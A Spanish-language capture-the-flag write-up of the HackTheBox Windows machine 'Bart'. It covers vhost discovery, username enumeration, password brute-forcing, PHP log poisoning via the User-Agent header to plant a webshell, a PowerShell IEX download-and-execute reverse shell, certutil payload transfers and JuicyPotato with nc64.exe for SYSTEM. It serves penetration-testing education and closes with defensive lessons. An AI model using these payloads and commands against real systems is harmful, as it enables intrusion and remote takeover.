the_open_door
café
ESEN

Bart

HackTheBoxMediaWindows10.10.10.81

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#vhost#username-enumeration#brute-force#log-poisoning#rce#seimpersonate#juicypotato#php-server-monitor
TL;DR. Bart es una caja Windows con un único puerto HTTP. Descubrimos los vhosts forum, monitor e internal-01. En la web filtramos usuarios (uno comentado en el código fuente), los validamos abusando del "¿olvidaste tu contraseña?" (enumeración de usuarios) y rompemos harvey:potter por fuerza bruta. El PHP Server Monitor lleva a un chat interno cuyo log.php registra el User-Agent: un log poisoning nos da RCE y shell como nt authority\iusr. Con SeImpersonatePrivilege, JuicyPotato (abuso de SeImpersonate) escala a Administrator.

Reconocimiento

Descubrimiento del host

ping -c 1 10.10.10.81

ping a 10.10.10.81 con ttl=127

64 bytes from 10.10.10.81: icmp_seq=1 ttl=127 time=106 ms

TTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo UDP: nada

En una caja Windows conviene mirar el UDP antes de darlo por perdido: los puertos 53, 88, 123 o 137 delatarían un Domain Controller. Aquí no:

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.10.81 | grep -v 'no-response'

nmap -sU sobre los 100 puertos UDP más comunes de 10.10.10.81: la tabla de puertos sale vacía

Initiating UDP Scan at 23:13
Scanning 10.10.10.81 [100 ports]
Completed UDP Scan at 23:13, 2.24s elapsed (100 total ports)
Nmap scan report for 10.10.10.81
Host is up, received user-set.

PORT       STATE          SERVICE          REASON

Nmap done: 1 IP address (1 host up) scanned in 2.37 seconds
             Raw packets sent: 258 (15.872KB) | Rcvd: 0 (0B)

Tabla vacía y Rcvd: 0 (0B): ni un solo paquete de vuelta. Descarta que sea un DC y descarta SNMP, NetBIOS y TFTP de un plumazo. Un resultado vacío, cuando se enseña, ahorra al lector preguntarse si se comprobó.

Escaneo TCP completo

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.81 -oG scan

nmap -p- contra 10.10.10.81: de los 65535 puertos solo el 80/tcp aparece abierto

Discovered open port 80/tcp on 10.10.10.81
Completed SYN Stealth Scan (65535 total ports)
Nmap scan report for 10.10.10.81
Host is up, received user-set (0.11s latency).

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 127

Un puerto de 65535. No hay SMB, ni RDP, ni WinRM: absolutamente todo el ataque tiene que entrar por el 80.

extractPorts leyendo el fichero scan y devolviendo IP Address 10.10.10.81 y Open ports 80

Extracting information...
IP Address: 10.10.10.81
Open ports: 80

Ports copied to clipboard
nmap -p80 -sCV 10.10.10.81

nmap -sCV sobre el 80: Microsoft IIS httpd 10.0, el aviso de método TRACE y la redirección a http://forum.bart.htb/

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Did not follow redirect to http://forum.bart.htb/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Tres datos. IIS 10.0 no tiene un CVE aprovechable en esta configuración. El TRACE habilitado es una mala práctica (se asociaba al viejo Cross-Site Tracing), pero con los navegadores modernos ya no da nada. Lo que sí importa es Did not follow redirect to http://forum.bart.htb/: el servidor pide que se le hable por nombre, señal de virtual hosting.

/etc/hosts con la línea 10.10.10.81 bart.htb forum.bart.htb

10.10.10.81   bart.htb   forum.bart.htb

HTTP - TCP 80: vhosts

Con el dominio base ya se puede fuzzear por virtual host: misma IP, distinta cabecera Host. El filtro --hh=0 descarta las respuestas vacías, que son las del vhost inexistente.

wfuzz -u 'http://bart.htb' -H 'Host: FUZZ.bart.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hh=0

wfuzz encontrando el subdominio monitor

ID          Response   Lines    Word      Chars      Payload

000000023:  200        548 L    2412 W    35529 Ch   "forum"
000000099:  200        80 L     221 W     3423 Ch    "monitor"

Dos aciertos, y de tamaños muy distintos: forum con 35 529 caracteres (una web completa) y monitor con 3423 (algo mucho más pequeño, típicamente un panel de login).

/etc/hosts ampliado con monitor.bart.htb

10.10.10.81   bart.htb   forum.bart.htb   monitor.bart.htb
whatweb http://forum.bart.htb
whatweb http://monitor.bart.htb

whatweb contra forum.bart.htb y monitor.bart.htb, identificando IIS 10.0, jQuery, direcciones de correo y el título de PHP Server Monitor

http://forum.bart.htb [200 OK] Bootstrap, Country[RESERVED][ZZ],
  Email[d.simmons@bart.htb,h.potter@bart.htb,info@bart.htb,r.hilton@bart.htb,s.brown@bart.loca,s.brown@bart.local],
  HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.81], JQuery, MetaGenerator[WordPress 4.8.2],
  Microsoft-IIS[10.0], PoweredBy[WordPress], Script[text/javascript], Title[BART], WordPress[4.8.2]

http://monitor.bart.htb [200 OK] Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5,
  HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.81], JQuery[1.7.1], Microsoft-IIS[10.0], PHP[7.1.7],
  PasswordField[user_password], Script[text/javascript], Title[SERVER MONITOR], X-Powered-By[PHP/7.1.7]

El campo Email es el hallazgo: seis direcciones, entre ellas h.potter@bart.htb. Guárdalas.

Wappalyzer sobre el foro dice algo más que whatweb: no es un WordPress cualquiera, es un WordPress 4.8.2 con el tema aThemes Sydney, servido por IIS 10.0 sobre Windows Server y con MySQL detrás.

Wappalyzer sobre forum.bart.htb detectando WordPress 4.8.2, el tema aThemes Sydney, IIS 10.0, Windows Server, PHP, MySQL y jQuery 1.12.4

Wappalyzer sobre monitor.bart.htb mostrando PHP Server Monitor v3.2.1, PHP y MySQL

Tres hallazgos que orientan el resto:

  • forum.bart.htb aparenta ser un WordPress pero es estático, con un jQuery antiguo.
  • whatweb extrae direcciones de correo del HTML. Volverán a hacer falta.
  • monitor.bart.htb corre PHP Server Monitor v3.2.1 sobre PHP y MySQL, con su propio panel de login. Ahí es donde hay algo que atacar.

Usuarios filtrados

La sección de equipo de forum.bart.htb mostrando las fichas de los empleados con nombre y puesto

La web lista a los empleados con nombre y correo. Al cruzarlos con los correos que sacó whatweb, hay uno que la web no pinta. Eso solo puede significar que está en el HTML pero oculto:

usuario comentado en el código fuente del foro

<!-- <div class="owl-item" ...><div class="team-item">
    ...
            <div class="name">Harvey Potter</div>
            <div class="pos">Developer@BART</div>
    ...
            <li><a class="mail" href="mailto:h.potter@bart.htb" target="_blank"><i class="fa">M</i></a></li>
    ...
</div></div>-->
<!-- Adding other employees breaks the CSS, I will fix it later. -->

Harvey Potter estaba comentado, con la excusa de que "rompía el CSS". Comentar algo en el HTML no lo esconde: lo señala. Y su puesto, Developer@BART, lo convierte en el candidato más interesante de los cinco.

Con todos los nombres se monta un fichero, uno por línea, y se generan las variantes de nombre de usuario:

nano users
cat users
username-anarchy --input-file users > userlist.txt

el fichero users con samantha brown, daniel simmons, robert hilton, harvey potter y jane doe, y el userlist.txt generado por username-anarchy con permutaciones como samantha, samanthabrown, s.brown, sbrown, bsamantha...

File: users
samantha brown
daniel simmons
robert hilton
harvey potter
jane doe

File: userlist.txt
samantha
samanthabrown
samantha.brown
samabrow
samanthab
s.brown
sbrown
bsamantha
b.samantha
browns
brown
brown.s
brown.samantha
sb
daniel
...

username-anarchy no viene preinstalado en Kali: es un script Ruby que se clona de su repositorio. A partir de cinco nombres genera todas las convenciones habituales (harvey, hpotter, potterh, harvey.potter…), que es justo lo que hace falta cuando se sabe quién trabaja ahí pero no cómo se llama su cuenta.

Acceso como harvey

Enumeración de usuarios vía "olvidé mi contraseña"

PHP Server Monitor tiene una función de recuperación de contraseña, y el enlace está en el propio formulario de acceso, junto al botón de Login:

el panel Please sign in de monitor.bart.htb con el botón Forgot password resaltado al lado del de Login

Pide solo el nombre de usuario:

El formulario "Forgot password" de PHP Server Monitor, que solo pide un nombre de usuario

Ese formulario responde distinto según exista o no la cuenta, así que es un oráculo: permite validar usuarios antes de gastar horas en fuerza bruta. Se intercepta la petición para ver qué campos exige (hay un token CSRF y la cookie de sesión) y se repite con wfuzz filtrando por la longitud de la respuesta "usuario no existe":

wfuzz -u 'http://monitor.bart.htb' -H 'Cookie: PHPSESSID=<cookie>' -d 'csrf=<csrf>&user_name=FUZZ&action=forgot' -w userlist.txt -t 50 --hh=3318

wfuzz validando usuarios por el formulario de recuperación

ID          Response   Lines   Word     Chars      Payload

000000045:  200        84 L    243 W    3639 Ch    "harvey"
000000015:  200        84 L    243 W    3639 Ch    "daniel"

Dos válidos de toda la lista: harvey y daniel. Que harvey esté ahí confirma la pista del código fuente y reduce el trabajo siguiente a un solo usuario.

Fuerza bruta de la contraseña

El login se intercepta igual, para sacar los nombres de campo y el CSRF de esa petición concreta:

Burp interceptando la petición de login de PHP Server Monitor con los campos csrf, user_name, user_password y action

La contraseña se busca con el mismo userlist.txt, no con rockyou. La apuesta es que sea una variante del propio nombre, que es lo que suele pasar en cuentas de prueba, y sale mucho más barato probar unas decenas de candidatos antes de lanzar catorce millones:

wfuzz -u 'http://monitor.bart.htb' -H 'Cookie: PHPSESSID=<cookie>' -d 'csrf=<csrf>&user_name=harvey&user_password=FUZZ&action=login' -w userlist.txt -t 50 --hh=3601,3581

wfuzz encontrando la contraseña potter para harvey

000000056:  302  0 L  0 W  0 Ch  "potter"

La respuesta que delata el acierto es un 302 con 0 caracteres: el login correcto redirige en vez de volver a pintar el formulario. La contraseña de harvey es potter, su propio apellido.

El panel de PHP Server Monitor tras autenticarse, con el listado de servidores monitorizados

Dentro, PHP Server Monitor hace lo que promete: vigila servidores y webs. Y uno de los monitorizados se llama "Internal Chat". Abriendo su ficha aparece la dirección:

La ficha del servidor "Internal Chat" en PHP Server Monitor mostrando Domain/IP http://internal-01.bart.htb/ en el puerto 80

Internal Chat
Status:      on
Type:        Website
Domain/IP:   http://internal-01.bart.htb/
Port:        80

Un cuarto vhost que el diccionario de 110 000 nombres no encontró, entregado por la propia herramienta de monitorización.

/etc/hosts con los cuatro nombres, incluido internal-01.bart.htb

10.10.10.81   bart.htb   forum.bart.htb   monitor.bart.htb   internal-01.bart.htb

RCE: log poisoning

Registrarse en el chat por la puerta de atrás

El login de internal-01.bart.htb/simple_chat/ pidiendo usuario y contraseña

El chat tiene su propio login y harvey:potter no funciona aquí: son bases de usuarios distintas. Toca enumerar rutas:

dirsearch -u http://internal-01.bart.htb/simple_chat/ --exclude-status=404,403

dirsearch sobre /simple_chat/ encontrando js, chat.php, css, includes, login.php, media y register.php, todos con redirección 301 o 302

[16:15:59] 301 -  166B  - /simple_chat/js  ->  http://internal-01.bart.htb/simple_chat/js/
[16:16:28] 302 -    4B  - /simple_chat/chat.php  ->  simple_chat/login_form.php
[16:16:31] 301 -  167B  - /simple_chat/css  ->  http://internal-01.bart.htb/simple_chat/css/
[16:16:41] 301 -  172B  - /simple_chat/includes  ->  http://internal-01.bart.htb/simple_chat/includes/
[16:16:46] 302 -    0B  - /simple_chat/login.php  ->  login_form.php
[16:16:48] 301 -  169B  - /simple_chat/media  ->  http://internal-01.bart.htb/simple_chat/media/
[16:17:01] 302 -    0B  - /simple_chat/register.php  ->  register_form.php
Task Completed

Existe un register.php, aunque el formulario que lo acompaña no esté enlazado en ninguna parte. Al pedirlo pasa algo raro:

curl -I  http://internal-01.bart.htb/simple_chat/register.php
curl -LI http://internal-01.bart.htb/simple_chat/register.php

curl -I sobre register.php devuelve 302 Found con Location: register_form.php; al seguir la redirección con -L el destino responde 500 Internal Server Error

HTTP/1.1 302 Found
Content-Length: 0
Location: register_form.php
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.1.7
Set-Cookie: PHPSESSID=hial532tsfjs9e4o8n4i9nvqpp; path=/

HTTP/1.1 500 Internal Server Error
Content-Length: 75
Content-Type: text/html
Server: Microsoft-IIS/10.0

La distinción es la clave: register.php responde bien (302), y quien está roto es register_form.php (500), o sea el formulario visual. Como el .php que procesa el alta funciona, se le puede hablar directamente sin pasar por el HTML. Solo hace falta saber qué campos espera, y para eso sirve mirar los del login, que suelen llamarse igual. Se envía un intento cualquiera con la pestaña Network abierta y el Payload de la petición canta los nombres:

el login del chat con usuario test, el aviso de que la contraseña debe tener 8 caracteres, y en el inspector la Form Data de login.php con uname, passwd y submit

Form Data
uname=test&passwd=test&submit=Login

De paso queda claro que la validación de longitud (The Password must be at least 8 characters) es de cliente: la petición sale igual. Con los tres nombres, el alta se manda a mano:

curl http://internal-01.bart.htb/simple_chat/register.php -d 'uname=jaime&passwd=jaime123&submit=Register'

curl enviando el alta directamente a register.php; el servidor no devuelve ningún mensaje

root@kali:~/machines/bart# curl http://internal-01.bart.htb/simple_chat/register.php -d 'uname=jaime&passwd=jaime123&submit=Register'
root@kali:~/machines/bart#

El servidor no imprime nada. Que no haya salida no significa que haya fallado (el script redirige al formulario roto y no escribe cuerpo), así que la comprobación es intentar entrar:

el login del chat acepta el usuario jaime recién registrado

El vector que no era

Dentro hay un chat con mensajes de harvey, daniel y bobby. Lo primero que se prueba en un chat es almacenar código:

el chat mostrando los mensajes inyectados &lt;h1&gt;hola&lt;/h1&gt; y &lt;script&gt;alert(123)&lt;/script&gt; como texto plano, sin interpretarse

(2025-12-10 13:32:08) jaime says:
<h1>hola</h1>

(2025-12-10 13:29:44) jaime says:
<script>alert(123)</script>

Las etiquetas se muestran literales: la aplicación escapa la salida, así que no hay XSS almacenado. Es un callejón sin salida, pero merece la pena enseñarlo porque es la primera idea de cualquiera y descartarla obliga a leer el resto de la conversación en vez de insistir.

La pista está en los mensajes

el chat con el mensaje de bobby: "@harvey: DUDE! Do not place development code in here, this is a production server!"

(2017-10-04 20:38:11) bobby says:
@harvey: DUDE! Do not place development code in here, this is a production server!

(2017-10-04 14:53:12) daniel says:
Well done H! This looks good

(2017-10-04 14:51:29) harvey says:
Test!

bobby regaña a harvey por dejar código de desarrollo en un servidor de producción. Eso no es ambientación: es la instrucción de dónde mirar. Y el código fuente de la página lo confirma:

view-source de internal-01.bart.htb mostrando un bloque comentado del Internal Chat marcado como DEV y de uso interno, y una función saveChat() que hace una petición AJAX a log/log.php con los parámetros filename y username

<!-- <div id="title"><h1>[DEV] Internal Chat</h1></div>
     <div id="title"><h1>Internal use only</h1></div> -->
...
<script>
    function saveChat() {
        // create a serialized object and send to log_chat.php. Once done hte XHR request, alert "Done"
        var xhr = new XMLHttpRequest();
        ...
        xhr.open('GET', 'http://internal-01.bart.htb/log/log.php?filename=log.txt&username=harvey', true);
        xhr.send(null);
        alert("Done");
    }
</script>
<a href="#" onclick="saveChat()">Log</a>

Ahí está el código de desarrollo del que hablaba bobby: una función saveChat() que llama a /log/log.php pasándole por GET un filename y un username. Dos parámetros controlados por el cliente, uno de ellos un nombre de fichero.

Qué hace log.php

http://internal-01.bart.htb/log/log.php?filename=log.txt&username=harvey

la petición a log.php con filename=log.txt devuelve un 1 en pantalla

1

Devuelve 1, que en PHP es lo que imprime un true. Cambiando el nombre del fichero sigue devolviendo 1:

la misma petición a log.php con filename=test.txt sigue devolviendo un 1 en pantalla

1

Así que no está comprobando nada: acepta cualquier valor. La hipótesis es que el 1 significa "fichero creado correctamente", y se comprueba pidiendo el fichero:

el fichero indicado en filename existe bajo /log/ y contiene una línea con la fecha, el usuario y el User-Agent del navegador

[2025-12-10 17:22:26] - harvey - Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0

Confirmado, y con dos regalos: el fichero se crea con el nombre que le pasemos (incluida la extensión) y su contenido incluye el User-Agent tal cual, un campo que controlamos por completo.

Envenenar el log con PHP

Las dos piezas juntas son un log poisoning de manual: nombre de fichero .php (para que IIS lo interprete) más PHP inyectado por la cabecera.

curl 'http://internal-01.bart.htb/log/log.php?filename=test.php&username=harvey' -H 'User-Agent: <?php system("whoami");?>'
curl 'http://internal-01.bart.htb/log/test.php'

log poisoning ejecutando whoami como nt authority iusr

[2025-12-10 18:16:55] - harvey - nt authority\iusr

Donde debería aparecer la cadena del User-Agent aparece nt authority\iusr: el servidor no la escribió, la ejecutó. Hay RCE. Se convierte en una webshell parametrizada para no repetir el proceso en cada comando:

curl 'http://internal-01.bart.htb/log/log.php?filename=cmd.php&username=harvey' -H 'User-Agent: <?php system($_GET["cmd"]);?>'
curl 'http://internal-01.bart.htb/log/cmd.php?cmd=whoami'

la webshell cmd.php responde al parámetro cmd y devuelve nt authority\iusr

1
[2025-12-10 19:06:30] - harvey - nt authority\iusr

Acceso inicial

La webshell va bien para comandos sueltos, pero no para trabajar. Se usa un Invoke-PowerShellTcp de Nishang, ajustando IP y puerto al final del fichero:

rev.ps1 editado con la llamada a Invoke-PowerShellTcp indicando la IP y el puerto del atacante

Se sirve por HTTP y se deja Penelope a la escucha (mejor que nc porque negocia el TTY y sobrevive a los cortes):

python3 -m http.server 80
penelope

a la izquierda el http.server sirviendo el rev.ps1 en el 80 y a la derecha Penelope escuchando reverse shells en el 4444

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

[+] Listening for reverse shells on 0.0.0.0:4444 -> 127.0.0.1 - 192.168.1.80 - 172.17.0.1 - 10.10.16.4

El payload no descarga el fichero a disco: lo trae a memoria con downloadString y lo ejecuta con IEX, así no deja rastro en el sistema de ficheros.

powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4/rev.ps1')

la webshell cmd.php recibe por el parámetro cmd el one-liner de PowerShell con IEX y downloadString, y la página solo devuelve la línea de log sin nada detrás

http://internal-01.bart.htb/log/cmd.php?cmd=powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4/rev.ps1')

[2025-12-10 19:06:30] - harvey -

Detrás del guion no hay nada: el IEX no imprime en el stdout de la webshell porque la sesión se va por el otro lado. Que no devuelva salida es, aquí, la señal de que ha funcionado.

reverse shell de Nishang establecida

[+] Got reverse shell from BART~10.10.10.81-Microsoft_Windows_10_Pro-x64  Assigned SessionID <1>
PS C:\inetpub\wwwroot\internal-01\log> whoami
nt authority\iusr

Sesión PowerShell como nt authority\iusr, la cuenta anónima de IIS.

Escalada de privilegios

La flag de usuario no está

cmd /c dir /r /s user.txt

la búsqueda recursiva de user.txt desde C:\Users devuelve "File Not Found"

PS C:\Users> cmd /c dir /r /s user.txt
 Volume in drive C has no label.
 Volume Serial Number is 4406-E731
File Not Found

iusr no puede ni leer el perfil donde vive la flag. Eso descarta el rodeo habitual (buscar la flag de usuario y luego escalar) y deja una sola vía: subir a SYSTEM directamente y coger ambas flags de una vez.

Abuso de SeImpersonatePrivilege con JuicyPotato

whoami /priv

SeImpersonatePrivilege habilitado para iusr

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                          State
============================= ==================================== ========
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                Enabled

SeImpersonatePrivilege en Enabled. Ese privilegio permite a un proceso adoptar el token de un cliente que se conecte a él, y las cuentas de servicio de IIS lo tienen por diseño. Las familias Potato lo explotan engañando a un servicio de SYSTEM para que se autentique contra un puerto local que controlamos, capturando su token y usándolo para lanzar un proceso.

Se suben el exploit y nc.exe:

wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip && unzip netcat-win32-1.12.zip
python3 -m http.server 80

el wget descarga JuicyPotato.exe de la release v0.1 y el ls lo deja junto al rev.ps1 ya preparado

JuicyPotato.exe  rev.ps1
certutil -f -urlcache -split http://10.10.16.4/JuicyPotato.exe
certutil -f -urlcache -split http://10.10.16.4/nc64.exe

certutil trae JuicyPotato.exe desde el http.server del atacante, que registra las dos peticiones GET desde 10.10.10.81

PS C:\certutil -f -urlcache -split http://10.10.16.4/JuicyPotato.exe JuicyPotato.exe
****  Online  ****
  000000  ...
  054e00
CertUtil: -URLCache command completed successfully.

10.10.10.81 - - [10/Dec/2025 19:29:43] "GET /JuicyPotato.exe HTTP/1.1" 200 -
10.10.10.81 - - [10/Dec/2025 19:29:46] "GET /JuicyPotato.exe HTTP/1.1" 200 -

certutil descargando JuicyPotato.exe y nc64.exe a C:\Windows\Temp en la máquina víctima

PS C:\Windows\Temp> certutil -f -urlcache -split http://10.10.16.4/nc64.exe nc64.exe
****  Online  ****
  0000  ...
  b0d8
CertUtil: -URLCache command completed successfully.

# y en el servidor HTTP del atacante:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.81 - - [10/Dec/2025 19:34:29] "GET /nc64.exe HTTP/1.1" 200 -
10.10.10.81 - - [10/Dec/2025 19:34:30] "GET /nc64.exe HTTP/1.1" 200 -

Con el listener del 4443 preparado (el puerto que se le pasa a nc en el argumento -a):

rlwrap nc -nlvp 4443
.\JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\Windows\Temp\nc64.exe -e cmd 10.10.16.4 4443"

JuicyPotato ejecutado dos veces con el CLSID por defecto {4991d34b-80a1-4291-83b6-3328366b9097} falla ambas con "COM -&gt; recv failed with error: 10038"

PS C:\Windows\Temp> .\JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\Windows\Temp\nc64.exe -e cmd 10.10.16.4 4443"
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
COM -> recv failed with error: 10038

Falla, y dos intentos seguidos dan lo mismo. El motivo está en la primera línea: JuicyPotato usa un CLSID por defecto ({4991d34b-...}, el de BITS) que no está registrado o no es suplantable en todas las versiones de Windows. El error: 10038 es "operación sobre algo que no es un socket", o sea que el objeto COM nunca llegó a conectarse.

La solución es elegir un CLSID que sí exista en este sistema:

systeminfo

systeminfo confirma Host Name BART y OS Name Microsoft Windows 10 Pro, junto a la tabla de CLSIDs de Windows 10 Pro del repositorio de JuicyPotato

Host Name:     BART
OS Name:       Microsoft Windows 10 Pro
OS Version:    10.0.15063 N/A Build 15063
System Model:  VMware Virtual Platform

El repositorio de JuicyPotato mantiene una lista de CLSID por sistema operativo; para Windows 10 Pro hay varios, y basta con que uno resuelva a NT AUTHORITY\SYSTEM:

.\JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\Windows\Temp\nc64.exe -e cmd 10.10.16.4 4443" -c "{5B3E6773-3A99-4A3D-8096-7765DD11785C}"

JuicyPotato dando shell como Administrator

Testing {5B3E6773-3A99-4A3D-8096-7765DD11785C} 1337
[+] authresult 0
{5B3E6773-3A99-4A3D-8096-7765DD11785C};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK

connect to [10.10.16.4] from (UNKNOWN) [10.10.10.81] 54102
Microsoft Windows [Version 10.0.15063]
C:\Windows\system32>

La línea {5B3E6773-...};NT AUTHORITY\SYSTEM es la prueba: el CLSID se ejecuta bajo la identidad de SYSTEM, y CreateProcessWithTokenW OK confirma que se ha lanzado el proceso con ese token. La shell que llega al 4443 ya es privilegiada y puede leer ambas flags:

flags de usuario y root

C:\Users>type h.potter\Desktop\user.txt
afb87f3417d14dbaf5b6ae6486876f56

C:\Users>type Administrator\Desktop\root.txt
4fe14d3cdefa06c83787b9e3d38339c5

La flag de usuario estaba en el perfil de h.potter, el mismo usuario que alguien había comentado en el HTML al principio.

Cadena de ataque

HTTP/IIS (un solo puerto) → redirect a forum.bart.htb → vhost fuzz → monitor.bart.htb
   │ usuario harvey comentado en el código fuente → username-anarchy
   ▼
forgot-password (username enumeration) → harvey y daniel válidos
   │ fuerza bruta del login con el mismo userlist
   ▼
harvey:potter en PHP Server Monitor → ficha "Internal Chat" → internal-01.bart.htb
   │ register.php directo (register_form.php da 500) → chat
   ▼
mensaje de bobby → código [DEV] en el fuente → log.php crea ficheros y registra el User-Agent
   ▼
log poisoning (User-Agent PHP) → webshell cmd.php → RCE como nt authority\iusr
   │ Nishang IEX en memoria
   ▼
SeImpersonatePrivilege → JuicyPotato (CLSID de Windows 10 Pro) → NT AUTHORITY\SYSTEM
   │
   ▼
user.txt (h.potter) + root.txt

Lecciones aprendidas

  • El código fuente "oculto" no oculta nada. Comentar un usuario en el HTML lo deja a la vista de cualquiera que mire el código y, además, lo señala como interesante. Nunca confiar en el lado cliente para esconder información.
  • Los formularios que responden distinto filtran usuarios. El "¿olvidaste tu contraseña?" de PHP Server Monitor permitía enumerar cuentas antes de la fuerza bruta. Las respuestas deben ser idénticas exista o no el usuario.
  • Un formulario roto no significa un endpoint roto. register_form.php daba 500, pero register.php procesaba el alta perfectamente. Hablarle al backend directamente evita depender del HTML.
  • Nunca registres datos controlados por el usuario en un fichero interpretable. Guardar el User-Agent en un .php accesible es la receta del log poisoning: separar los logs del web root, no darles extensión ejecutable y sanear lo que se escribe.
  • SeImpersonatePrivilege sigue siendo una puerta a SYSTEM. Cuentas de servicio web como iusr suelen tenerlo; las familias Potato lo convierten en SYSTEM. Cuando el CLSID por defecto falla con un recv failed, no es que el privilegio no valga: hay que elegir uno de la lista de la versión exacta del SO.
Cheatsheet de comandos 12 comandos

Repaso rápido